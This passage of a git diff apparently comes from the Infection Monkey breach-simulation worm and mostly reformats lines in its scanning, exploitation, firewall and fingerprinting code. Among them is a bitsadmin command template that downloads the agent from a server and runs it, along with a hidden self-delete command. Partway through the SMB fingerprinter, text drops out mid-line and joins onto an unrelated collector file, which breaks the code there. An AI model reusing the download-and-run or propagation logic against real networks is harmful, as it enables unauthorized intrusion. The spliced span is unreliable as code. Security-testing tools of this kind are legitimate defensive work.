wasn't found, using internal default" - % (config_file,) + "Config file wasn't supplied and default path: %s wasn't found, using internal " + "default" % (config_file,) ) print( - "Loaded Configuration: %r" - % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) + "Loaded Configuration: %r" + % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) ) # Make sure we're not in a machine that has the kill file @@ -104,7 +105,8 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # If log exists but can't be removed it means other monkey is running. This usually + # happens on upgrade # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. try: os.remove(log_path) @@ -126,7 +128,8 @@ def log_uncaught_exceptions(ex_cls, ex, tb): sys.excepthook = log_uncaught_exceptions LOG.info( - ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid() + ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, + os.getpid() ) LOG.info(f"version: {get_version()}") @@ -141,12 +144,12 @@ def log_uncaught_exceptions(ex_cls, ex, tb): with open(config_file, "w") as config_fo: json_dict = WormConfiguration.as_dict() json.dump( - json_dict, - config_fo, - skipkeys=True, - sort_keys=True, - indent=4, - separators=(",", ": "), + json_dict, + config_fo, + skipkeys=True, + sort_keys=True, + indent=4, + separators=(",", ": "), ) return True diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 4f6f8de4abc..1bfee3ef2b0 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -27,12 +27,12 @@ MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = ( - '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' - '&cmd /c %%(monkey_path)s %s"' - % ( - CMD_PREFIX, - MONKEY_ARG, - ) + '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' + '&cmd /c %%(monkey_path)s %s"' + % ( + CMD_PREFIX, + MONKEY_ARG, + ) ) DELAY_DELETE_CMD = ( "cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & " diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7123d8b9ef8..086a163a852 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -100,7 +100,8 @@ def initialize(self): WormConfiguration.command_servers.insert(0, self._default_server) else: LOG.debug( - "Default server: %s is already in command servers list" % self._default_server + "Default server: %s is already in command servers list" % + self._default_server ) def start(self): @@ -161,8 +162,8 @@ def start(self): break machines = self._network.get_victim_machines( - max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop, + max_find=WormConfiguration.victims_max_find, + stop_callback=ControlClient.check_for_stop, ) is_empty = True for machine in machines: @@ -172,17 +173,17 @@ def start(self): is_empty = False for finger in self._fingerprint: LOG.info( - "Trying to get OS fingerprint from %r with module %s", - machine, - finger.__class__.__name__, + "Trying to get OS fingerprint from %r with module %s", + machine, + finger.__class__.__name__, ) try: finger.get_host_fingerprint(machine) except BaseException as exc: LOG.error( - "Failed to run fingerprinter %s, exception %s" - % finger.__class__.__name__, - str(exc), + "Failed to run fingerprinter %s, exception %s" + % finger.__class__.__name__, + str(exc), ) ScanTelem(machine).send() @@ -203,23 +204,23 @@ def start(self): if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( - get_interface_to_target(machine.ip_addr) - + ( - ":" + self._default_server_port - if self._default_server_port - else "" - ) + get_interface_to_target(machine.ip_addr) + + ( + ":" + self._default_server_port + if self._default_server_port + else "" + ) ) else: machine.set_default_server(self._default_server) LOG.debug( - "Default server for machine: %r set to %s" - % (machine, machine.default_server) + "Default server for machine: %r set to %s" + % (machine, machine.default_server) ) # Order exploits according to their type self._exploiters = sorted( - self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value + self._exploiters, key=lambda exploiter_:exploiter_.EXPLOIT_TYPE.value ) host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: @@ -227,7 +228,8 @@ def start(self): host_exploited = True VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() if exploiter.RUNS_AGENT_ON_SUCCESS: - break # if adding machine to exploited, won't try other exploits on it + break # if adding machine to exploited, won't try other exploits + # on it if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() @@ -244,12 +246,14 @@ def start(self): elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") - # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to + # if host was exploited, before continue to closing the tunnel ensure the exploited + # host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + "Sleeping %d seconds for exploited machines to connect to tunnel", + time_to_sleep ) time.sleep(time_to_sleep) @@ -261,7 +265,8 @@ def start(self): except PlannedShutdownException: LOG.info( - "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution." + "A planned shutdown of the Monkey occurred. Logging the reason and finishing " + "execution." ) LOG.exception("Planned shutdown, reason:") @@ -306,7 +311,7 @@ def cleanup(self): firewall.close() else: StateTelem( - is_done=True, version=get_version() + is_done=True, version=get_version() ).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() @@ -341,12 +346,12 @@ def self_delete(): startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE subprocess.Popen( - DELAY_DELETE_CMD % {"file_path": sys.executable}, - stdin=None, - stdout=None, - stderr=None, - close_fds=True, - startupinfo=startupinfo, + DELAY_DELETE_CMD % {"file_path":sys.executable}, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + startupinfo=startupinfo, ) else: os.remove(sys.executable) @@ -376,10 +381,10 @@ def try_exploiting(self, machine, exploiter): """ if not exploiter.is_os_supported(): LOG.info( - "Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, - machine, - machine.os, + "Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, + machine, + machine.os, ) return False @@ -393,30 +398,31 @@ def try_exploiting(self, machine, exploiter): return True else: LOG.info( - "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ + "Failed exploiting %r with exploiter %s", machine, + exploiter.__class__.__name__ ) except ExploitingVulnerableMachineError as exc: LOG.error( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, ) self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: LOG.info( - "Failed exploiting %r with exploiter %s, %s", - machine, - exploiter.__class__.__name__, - e, + "Failed exploiting %r with exploiter %s, %s", + machine, + exploiter.__class__.__name__, + e, ) except Exception as exc: LOG.exception( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, ) finally: exploiter.send_exploit_telemetry(result) @@ -452,7 +458,8 @@ def set_default_server(self): """ if not ControlClient.find_server(default_tunnel=self._default_tunnel): raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) + "Monkey couldn't find server with {} default tunnel.".format( + self._default_tunnel) ) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index cddba49fe03..6b23734bb99 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -5,12 +5,12 @@ def _run_netsh_cmd(command, args): cmd = subprocess.Popen( - "netsh %s %s" - % ( - command, - " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), - ), - stdout=subprocess.PIPE, + "netsh %s %s" + % ( + command, + " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), + ), + stdout=subprocess.PIPE, ) return cmd.stdout.read().strip().lower().endswith("ok.") @@ -56,9 +56,9 @@ def is_enabled(self): return None def add_firewall_rule( - self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs + self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs ): - netsh_args = {"name": name, "dir": direction, "action": action, "program": program} + netsh_args = {"name":name, "dir":direction, "action":action, "program":program} netsh_args.update(kwargs) try: if _run_netsh_cmd("advfirewall firewall add rule", netsh_args): @@ -70,7 +70,7 @@ def add_firewall_rule( return None def remove_firewall_rule(self, name="Firewall", **kwargs): - netsh_args = {"name": name} + netsh_args = {"name":name} netsh_args.update(kwargs) try: @@ -89,10 +89,10 @@ def listen_allowed(self, **kwargs): for rule in list(self._rules.values()): if ( - rule.get("program") == sys.executable - and "in" == rule.get("dir") - and "allow" == rule.get("action") - and 4 == len(list(rule.keys())) + rule.get("program") == sys.executable + and "in" == rule.get("dir") + and "allow" == rule.get("action") + and 4 == len(list(rule.keys())) ): return True return False @@ -125,14 +125,14 @@ def is_enabled(self): return None def add_firewall_rule( - self, - rule="allowedprogram", - name="Firewall", - mode="ENABLE", - program=sys.executable, - **kwargs, + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, ): - netsh_args = {"name": name, "mode": mode, "program": program} + netsh_args = {"name":name, "mode":mode, "program":program} netsh_args.update(kwargs) try: @@ -146,14 +146,14 @@ def add_firewall_rule( return None def remove_firewall_rule( - self, - rule="allowedprogram", - name="Firewall", - mode="ENABLE", - program=sys.executable, - **kwargs, + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, ): - netsh_args = {"program": program} + netsh_args = {"program":program} netsh_args.update(kwargs) try: if _run_netsh_cmd("firewall delete %s" % rule, netsh_args): diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 21adae9f87d..a0db9ab02fa 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -52,6 +52,7 @@ def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] + def get_routes(): raise NotImplementedError() @@ -59,10 +60,12 @@ def get_routes(): else: from fcntl import ioctl + def local_ips(): valid_ips = [network["addr"] for network in get_host_subnets()] return valid_ips + def get_routes(): # based on scapy implementation for route parsing try: f = open("/proc/net/route", "r") @@ -88,7 +91,8 @@ def get_routes(): # based on scapy implementation for route parsing continue try: ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff)) - except IOError: # interface is present in routing tables but does not have any assigned IP + except IOError: # interface is present in routing tables but does not have any + # assigned IP ifaddr = "0.0.0.0" else: addrfamily = struct.unpack("h", ifreq[16:18])[0] @@ -97,13 +101,13 @@ def get_routes(): # based on scapy implementation for route parsing else: continue routes.append( - ( - socket.htonl(int(dst, 16)) & 0xFFFFFFFF, - socket.htonl(int(msk, 16)) & 0xFFFFFFFF, - socket.inet_ntoa(struct.pack("I", int(gw, 16))), - iff, - ifaddr, - ) + ( + socket.htonl(int(dst, 16)) & 0xFFFFFFFF, + socket.htonl(int(msk, 16)) & 0xFFFFFFFF, + socket.inet_ntoa(struct.pack("I", int(gw, 16))), + iff, + ifaddr, + ) ) f.close() diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 3113d278f97..9ecdcbb5c11 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -49,29 +49,28 @@ def get_host_fingerprint(self, host): data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: LOG.info( - "Socket timeout reached, maybe browser service on host: {0} doesnt exist".format( - host - ) + "Socket timeout reached, maybe browser service on host: {0} doesnt " + "exist".format(host) ) sock.close() return False except socket.error as e: if e.errno == errno.ECONNRESET: LOG.info( - "Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.".format( - host - ) + "Connection was forcibly closed by the remote host. The host: {0} is " + "rejecting the packet.".format(host) ) else: LOG.error( - "An unknown socket error occurred while trying the mssql fingerprint, closing socket.", - exc_info=True, + "An unknown socket error occurred while trying the mssql fingerprint, " + "closing socket.", + exc_info=True, ) sock.close() return False self.init_service( - host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT + host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT ) # Loop through the server data @@ -82,7 +81,8 @@ def get_host_fingerprint(self, host): if len(instance_info) > 1: host.services[self._SCANNED_SERVICE][instance_info[1]] = {} for i in range(1, len(instance_info), 2): - # Each instance's info is nested under its own name, if there are multiple instances + # Each instance's info is nested under its own name, if there are multiple + # instances # each will appear under its own name host.services[self._SCANNED_SERVICE][instance_info[1]][ instance_info[i - 1] diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index c04814c9f4d..d7c56a54658 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -49,7 +49,7 @@ def get_host_fingerprint(self, host): return False version, curpos = struct_unpack_tracker_string( - data, curpos + data, curpos ) # special coded to solve string parsing version = version[0].decode() self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 0b8a751207a..3d3c2c65a78 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -44,23 +44,26 @@ def initialize(self): def _get_inaccessible_subnets_ips(self): """ For each of the machine's IPs, checks if it's in one of the subnets specified in the - 'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible. + 'inaccessible_subnets' config value. If so, all other subnets in the config value + shouldn't be accessible. All these subnets are returned. - :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on. + :return: A list of subnets that shouldn't be accessible from the machine the monkey is + running on. """ subnets_to_scan = [] if len(WormConfiguration.inaccessible_subnets) > 1: for subnet_str in WormConfiguration.inaccessible_subnets: if NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], subnet_str + [str(x) for x in self._ip_addresses], subnet_str ): - # If machine has IPs from 2 different subnets in the same group, there's no point checking the other + # If machine has IPs from 2 different subnets in the same group, there's no + # point checking the other # subnet. for other_subnet_str in WormConfiguration.inaccessible_subnets: if other_subnet_str == subnet_str: continue if not NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], other_subnet_str + [str(x) for x in self._ip_addresses], other_subnet_str ): subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break @@ -74,13 +77,16 @@ def get_victim_machines(self, max_find=5, stop_callback=None): :param stop_callback: A callback to check at any point if we should stop scanning :return: yields a sequence of VictimHost instances """ - # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be the best decision - # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage (pps and bw) - # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher than CPU core size + # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be + # the best decision + # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage ( + # pps and bw) + # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher + # than CPU core size # But again, balance pool = Pool(ITERATION_BLOCK_SIZE) victim_generator = VictimHostGenerator( - self._ranges, WormConfiguration.blocked_ips, local_ips() + self._ranges, WormConfiguration.blocked_ips, local_ips() ) victims_count = 0 diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index dd1577e4708..3e9c224926f 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -34,9 +34,9 @@ def is_host_alive(self, host): timeout /= 1000 return 0 == subprocess.call( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], - stdout=self._devnull, - stderr=self._devnull, + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=self._devnull, + stderr=self._devnull, ) def get_host_fingerprint(self, host): @@ -46,10 +46,10 @@ def get_host_fingerprint(self, host): timeout /= 1000 sub_proc = subprocess.Popen( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, ) output = " ".join(sub_proc.communicate()) @@ -59,7 +59,8 @@ def get_host_fingerprint(self, host): ttl = int(regex_result.group(0)) if ttl <= LINUX_TTL: host.os["type"] = "linux" - else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. + else: # as far we we know, could also be OSX/BSD but lets handle that when it + # comes up. host.os["type"] = "windows" host.icmp = True diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index 16f6327f93f..db88873f0bf 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -17,32 +17,32 @@ class PostgreSQLFinger(HostFinger): # Class related consts _SCANNED_SERVICE = "PostgreSQL" POSTGRESQL_DEFAULT_PORT = 5432 - CREDS = {"username": ID_STRING, "password": ID_STRING} + CREDS = {"username":ID_STRING, "password":ID_STRING} CONNECTION_DETAILS = { - "ssl_conf": "SSL is configured on the PostgreSQL server.\n", - "ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n", - "all_ssl": "SSL connections can be made by all.\n", - "all_non_ssl": "Non-SSL connections can be made by all.\n", - "selected_ssl": "SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - "selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - "only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n", + "ssl_conf":"SSL is configured on the PostgreSQL server.\n", + "ssl_not_conf":"SSL is NOT configured on the PostgreSQL server.\n", + "all_ssl":"SSL connections can be made by all.\n", + "all_non_ssl":"Non-SSL connections can be made by all.\n", + "selected_ssl":"SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + "selected_non_ssl":"Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n", + "only_selected":"Only selected hosts can make connections (SSL or non-SSL).\n", } RELEVANT_EX_SUBSTRINGS = { - "no_auth": "password authentication failed", - "no_entry": "entry for host", # "no pg_hba.conf entry for host" but filename may be diff + "no_auth":"password authentication failed", + "no_entry":"entry for host", # "no pg_hba.conf entry for host" but filename may be diff } def get_host_fingerprint(self, host): try: psycopg2.connect( - host=host.ip_addr, - port=self.POSTGRESQL_DEFAULT_PORT, - user=self.CREDS["username"], - password=self.CREDS["password"], - sslmode="prefer", - connect_timeout=MEDIUM_REQUEST_TIMEOUT, + host=host.ip_addr, + port=self.POSTGRESQL_DEFAULT_PORT, + user=self.CREDS["username"], + password=self.CREDS["password"], + sslmode="prefer", + connect_timeout=MEDIUM_REQUEST_TIMEOUT, ) # don't need to worry about DB name; creds are wrong, won't check # if it comes here, the creds worked @@ -50,13 +50,15 @@ def get_host_fingerprint(self, host): # perhaps the service is a honeypot self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = ( - "The PostgreSQL server was unexpectedly accessible with the credentials - " - + f"user: '{self.CREDS['username']}' and password: '{self.CREDS['password']}'. Is this a honeypot?" + "The PostgreSQL server was unexpectedly accessible with the credentials - " + + f"user: '{self.CREDS['username']}' and password: '" + f"{self.CREDS['password']}'. Is this a honeypot?" ) return True except psycopg2.OperationalError as ex: - # try block will throw an OperationalError since the credentials are wrong, which we then analyze + # try block will throw an OperationalError since the credentials are wrong, which we + # then analyze try: exception_string = str(ex) @@ -92,7 +94,7 @@ def analyze_operational_error(self, host, exception_string): self.get_connection_details_ssl_not_configured(exceptions) host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join( - self.ssl_connection_details + self.ssl_connection_details ) @staticmethod @@ -120,7 +122,7 @@ def get_connection_details_ssl_configured(self, exceptions): self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) else: if ( - ssl_selected_comms_only + ssl_selected_comms_only ): # if only selected SSL allowed and only selected non-SSL allowed self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"] else: diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index 457d0213d56..795ac2be5ef 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -14,9 +14,9 @@ class Packet: fields = odict( - [ - ("data", ""), - ] + [ + ("data", ""), + ] ) def __init__(self, **kw): @@ -38,20 +38,20 @@ def to_byte_string(self): # SMB Packets class SMBHeader(Packet): fields = odict( - [ - ("proto", b"\xff\x53\x4d\x42"), - ("cmd", b"\x72"), - ("errorcode", b"\x00\x00\x00\x00"), - ("flag1", b"\x00"), - ("flag2", b"\x00\x00"), - ("pidhigh", b"\x00\x00"), - ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", b"\x00\x00"), - ("tid", b"\x00\x00"), - ("pid", b"\x00\x00"), - ("uid", b"\x00\x00"), - ("mid", b"\x00\x00"), - ] + [ + ("proto", b"\xff\x53\x4d\x42"), + ("cmd", b"\x72"), + ("errorcode", b"\x00\x00\x00\x00"), + ("flag1", b"\x00"), + ("flag2", b"\x00\x00"), + ("pidhigh", b"\x00\x00"), + ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", b"\x00\x00"), + ("tid", b"\x00\x00"), + ("pid", b"\x00\x00"), + ("uid", b"\x00\x00"), + ("mid", b"\x00\x00"), + ] ) @@ -64,55 +64,63 @@ def calculate(self): class SMBNegoFingerData(Packet): fields = odict( - [ - ("separator1", b"\x02"), - ( - "dialect1", - b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00", - ), - ("separator2", b"\x02"), - ("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ("separator3", b"\x02"), - ( - "dialect3", - b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00", - ), - ("separator4", b"\x02"), - ("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"), - ("separator5", b"\x02"), - ("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"), - ("separator6", b"\x02"), - ("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"), - ] + [ + ("separator1", b"\x02"), + ( + "dialect1", + b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d" + b"\x20\x31\x2e\x30\x00", + ), + ("separator2", b"\x02"), + ("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), + ("separator3", b"\x02"), + ( + "dialect3", + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72" + b"\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00", + ), + ("separator4", b"\x02"), + ("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"), + ("separator5", b"\x02"), + ("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"), + ("separator6", b"\x02"), + ("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"), + ] ) class SMBSessionFingerData(Packet): fields = odict( - [ - ("wordcount", b"\x0c"), - ("AndXCommand", b"\xff"), - ("reserved", b"\x00"), - ("andxoffset", b"\x00\x00"), - ("maxbuff", b"\x04\x11"), - ("maxmpx", b"\x32\x00"), - ("vcnum", b"\x00\x00"), - ("sessionkey", b"\x00\x00\x00\x00"), - ("securitybloblength", b"\x4a\x00"), - ("reserved2", b"\x00\x00\x00\x00"), - ("capabilities", b"\xd4\x00\x00\xa0"), - ("bcc1", ""), - ( - "Data", - b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02" - b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" - b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63" - b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00" - b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35" - b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00", - ), - ] + [ + ("wordcount", b"\x0c"), + ("AndXCommand", b"\xff"), + ("reserved", b"\x00"), + ("andxoffset", b"\x00\x00"), + ("maxbuff", b"\x04\x11"), + ("maxmpx", b"\x32\x00"), + ("vcnum", b"\x00\x00"), + ("sessionkey", b"\x00\x00\x00\x00"), + ("securitybloblength", b"\x4a\x00"), + ("reserved2", b"\x00\x00\x00\x00"), + ("capabilities", b"\xd4\x00\x00\xa0"), + ("bcc1", ""), + ( + "Data", + b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c" + b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02" + b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00" + b"\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f" + b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" + b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53" + b"\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63" + b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20" + b"\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00" + b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32" + b"\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35" + b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00", + ), + ] ) def calculate(self): @@ -159,10 +167,10 @@ def get_host_fingerprint(self, host): if data[8:10] == b"\x73\x16": length = struct.unpack(" dict: info = {} if aws.is_instance(): logger.info("Machine is an AWS instance") - info = {"instance_id": aws.get_instance_id()} + info = {"instance_id":aws.get_instance_id()} else: logger.info("Machine is NOT an AWS instance") diff --git a/monkey/infection_monkey/system_info/collectors/environment_collector.py b/monkey/infection_monkey/system_info/collectors/environment_collector.py index 039ede6f5d1..8f7978f6bfa 100644 --- a/monkey/infection_monkey/system_info/collectors/environment_collector.py +++ b/monkey/infection_monkey/system_info/collectors/environment_collector.py @@ -21,4 +21,4 @@ def __init__(self): super().__init__(name=ENVIRONMENT_COLLECTOR) def collect(self) -> dict: - return {"environment": get_monkey_environment()} + return {"environment":get_monkey_environment()} diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py index 0aeecd9fb7b..783a0d4fd22 100644 --- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py +++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py @@ -12,4 +12,4 @@ def __init__(self): super().__init__(name=HOSTNAME_COLLECTOR) def collect(self) -> dict: - return {"hostname": socket.getfqdn()} + return {"hostname":socket.getfqdn()} diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py index a95ac385bc1..6fae4144b70 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -30,22 +30,23 @@ def collect(self) -> dict: for process in psutil.process_iter(): try: processes[process.pid] = { - "name": process.name(), - "pid": process.pid, - "ppid": process.ppid(), - "cmdline": " ".join(process.cmdline()), - "full_image_path": process.exe(), + "name":process.name(), + "pid":process.pid, + "ppid":process.ppid(), + "cmdline":" ".join(process.cmdline()), + "full_image_path":process.exe(), } except (psutil.AccessDenied, WindowsError): - # we may be running as non root and some processes are impossible to acquire in Windows/Linux. + # we may be running as non root and some processes are impossible to acquire in + # 